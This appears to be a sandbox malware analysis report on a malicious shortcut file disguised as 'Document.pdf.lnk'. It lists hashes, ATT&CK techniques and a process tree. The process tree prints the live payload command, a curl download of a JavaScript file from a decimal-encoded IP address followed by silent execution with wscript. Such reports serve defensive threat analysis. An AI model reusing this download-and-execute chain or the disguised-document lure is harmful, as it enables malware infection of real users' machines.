0a40a88a65dfcf450fcf21ca0782ad40b6a2910cf5f0ff4a27fa546db73e8e1e

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/04/2026, 14:01

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General

Target
Document.pdf.lnk
Size 2KB
Sample260423-rbjc1set4m
SHA256 0a40a88a65dfcf450fcf21ca0782ad40b6a2910cf5f0ff4a27fa546db73e8e1e
MD5 8deb03b5d903bb8d3d7fa87ca410c092
SHA1 5a36e60f94c4baecaff2ba41e33fc0de2acee460
SHA512 a11b7e61a42cba5ea26c68e8e8f1ce7b91eac9cace0103097e5f5da9d4bc5344d16db13a5fc52cbbeadd3760c7b7a8c4b0413a296f26d87b4fa1e6664c35bdf8
TLSH
T1D541D5152BD50734F7F28D7604B76B229537B815DAA94E2D819049CC1851611F839FBB
MD5 SHA1 SHA512 TLSH

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4172 wrote to memory of 4744	4172	cmd.exe	86
PID 4744 wrote to memory of 4244	4744	cmd.exe	87
PID 4744 wrote to memory of 4736	4744	cmd.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Document.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /d /q /c curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\j7b20.js" "http://3163160386/l/2e0b44/raw.js" & start "" /B wscript //B //Nologo "C:\Users\Admin\AppData\Local\Temp\j7b20.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Windows\system32\curl.exe
    curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\j7b20.js" "http://3163160386/l/2e0b44/raw.js"
    3⤵
    PID:4244
- - C:\Windows\system32\wscript.exe
    wscript //B //Nologo "C:\Users\Admin\AppData\Local\Temp\j7b20.js"
    3⤵
    PID:4736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4172-1-0x0000016C2E640000-0x0000016C2E64C000-memory.dmp

Download

memory/4172-0-0x0000016C2E340000-0x0000016C2E3ED000-memory.dmp